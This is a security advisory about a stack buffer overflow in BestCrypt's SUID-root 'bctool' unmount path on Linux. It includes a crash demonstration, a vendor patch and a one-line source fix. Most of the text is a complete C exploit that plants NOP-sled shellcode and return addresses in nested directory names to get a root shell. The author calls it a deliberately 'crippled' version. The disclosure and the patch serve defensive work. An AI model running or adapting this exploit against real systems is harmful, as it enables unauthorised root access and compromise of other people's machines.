COMMAND

    BestCrypt

SYSTEMS AFFECTED

    BestCrypt 0.6-x -> 0.8-1 (and possibly older versions)

PROBLEM

    Carl Livitt found following.   BestCrypt is a software utility  to
    maintain and use encrypted filesystems.  It runs on Win9x/ME/NT/2K
    and Linux.  Encrypted  filesystems are stored in  containers (.JBC
    files) and, under Linux, are mounted as loopback filesystems.

    When  mounting  an  encrypted  container  onto  a  point  in   the
    filesystem tree, the  size of buffers  that hold the  names of the
    mount-point  and  other  paths  are  checked  to  make  sure  that
    overflow situations  do not  occur.   However, when  unmounting an
    encrypted  filesystem,  the  same  checks  are  not made and it is
    possible  to  overflow  the  buffer  containing  the  name  of the
    mount-point and execute arbitrary code as root.

    The problem  lies in  the 'bctool'  binary that  is installed SUID
    root by default.  Specifically,  in the file 'src/bcmount.c' is  a
    function called  'bcumount()' that  declares a  buffer called 'rp'
    that is stored on  the stack which has  a size of 255  bytes.  The
    'rp' buffer holds  the name of  the mount-point in  the filesystem
    and  is  populated  by  a  call  to 'realpath(argv[1], rp)', which
    expands  a  user-specified  path  into  an  absolute  pathname and
    stores the result in 'rp'.

    It is therefore possible to  create a path in the  filesystem that
    is greater  in length  than 255  bytes and  cause a stack overflow
    condition  when  performing  an  unmount.   If  that path contains
    valid shellcode and  RET addresses, it  is possible to  get a root
    shell.

    To demonstrate the stack overflow, you can try the following:

        foo:~ > mkdir /`perl -e 'print "a"x255'`/`perl -e 'print "a"x255'`
        foo:~ > bctool mount test.jbc /`perl -e 'print "a"x255'`/`perl -e 'print "a"x255'`
        Enter password:
        foo:~ > bctool umount /`perl -e 'print "a"x255'`/`perl -e 'print "a"x255'`
        Segmentation fault
        foo:~ >

    At the  point of  the crash,  EIP contains  the value  0x61616161.
    This is exploitable and has  been tested in lab conditions.   Here
    is a slightly crippled version  of exploit that _will_ need  to be
    modified in order to work:

    /*
     * Crippled version of the BestCrypt for Linux r00t exploit.
     * Note: this will not work out-of-the-box. You'll need to adjust it.
     * Script kiddies: don't even think about it.
     *
     * By Carl Livitt (carl@ititc.com)
     *
     * Usage example:
    
            foo:~ > id
            uid=500(carl) gid=100(users) groups=100(users)
            foo:~ > gcc -o bcexp bcexp.c
            foo:~ > ./bcexp
            foo:~ > bctool mount /path/to/container.jbc "$EGG"
            Enter password:
            foo:~ > bctool umount "$EGG"
            sh-2.04# id
            uid=0(root) gid=0(root) groups=0(root),1(bin),14(uucp),15(shadow)
            sh-2.04#
    
     * RET value will need tinkered with, also you'll find that you need to examine
     * the call history quite closely to make this work ;-)  Have a look, you'll see
     * what I mean!
     *
     * You'll also notice there's a fair bit of redundant/messy/debug code in here...
     * This is intended to be an exploit, not an example of good coding.
     *
     */
    #include <stdio.h>
    
    // Chopped up Aleph1 linux shellcode to work in a directory path.
    char shellcode[]="\xeb\x1d\x5e\x29\xc0\x88\x46\x07\x89\x46\x0c\x89\x76\x08\xb0"
                     "\x0b\x87\xf3\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\x29\xc0\x40\xcd"
                     "\x80\xe8\xde\xff\xff\xff";
    
    char shellpath[] = "/bin";
    char shellprog[] = "/sh";
    
    // not used any longer
    unsigned long sp() { __asm__("movl %esp, %eax"); }
    
    main(int argc, char **argv) {
            char *p,*p2, path[4096], shell[4096], command[4096], old[4096];
            int i,len, offs;
            unsigned long addr=0xbffff410;
    
            if(argc>1) {
                    offs=atoi(argv[1]);
            } else {
                    offs=0;
            }
            chdir("/tmp");
            addr+=offs;
            printf("Using addr = 0x%08x\n", addr);
    
            // build a series of NOPs + shellcode and  make directory
            p=path;
            for(i=0;i<162-strlen(shellcode);i++)
                    *(p++)=(char)0x90;
            p2=shellcode;
            for(i=0;i<strlen(shellcode);i++)
                    *(p++)=*(p2++);
            *p=0;
            strcpy(old, path);
            sprintf(command,"mkdir \"%s\"", path);
            system(command);
    
            // add the path to the shell to the shellcode-cum-path
            for(i=0;i<strlen(shellpath);i++)
                    *(p++)=shellpath[i];
            *p=0;
            sprintf(command,"mkdir \"%s\"", path);
            system(command);
    
            // add the name of the shell to the shellcode-cum-path
            for(i=0;i<strlen(shellprog);i++)
                    *(p++)=shellprog[i];
            *p=0;
            printf("strlen(path)=%d\n", strlen(path));
            sprintf(command,"mkdir \"%s\"", path);
            system(command);
    
            // pad out the buffer with our RET address
            for(i=0;i<172;i++)
            {
                    *(p++)=(char)(addr>>16)&0xff;
                    *(p++)=(char)(addr>>24)&0xff;
                    *(p++)=(char)addr&0xff;
                    *(p++)=(char)(addr>>8)&0xff;
            }
            addr=(unsigned long)*(p-4);
            printf("ADDRESS: 0x%x\n", addr);
            *p=0;
            printf("strlen(path)=%d\n", strlen(path));
            sprintf(command,"mkdir \"%s\"", path);
            system(command);
    
            // set environment variable and spawn a fresh shell
            setenv("EGG",path,1);
            system("/bin/bash");
    }

SOLUTION

    Jetico  were  informed  of  the  flaw  and released a new, patched
    version  of  BestCrypt  within  48  hours.   Users  are advised to
    upgrade to the new version available from these URLs:

        Tarball:    http://www.jetico.com/linux/BestCrypt-0.8-2.tar.gz
        Source RPM:	http://www.jetico.com/linux/BestCrypt-0.8-2.src.rpm

    Alternatively, you can edit  the "src/bcmount.c" file and  replace
    the following line in the "bcumount()" function:

        char rp[MAXNAMLEN];

    with this one:

        char rp[NAME_MAX+PATH_MAX];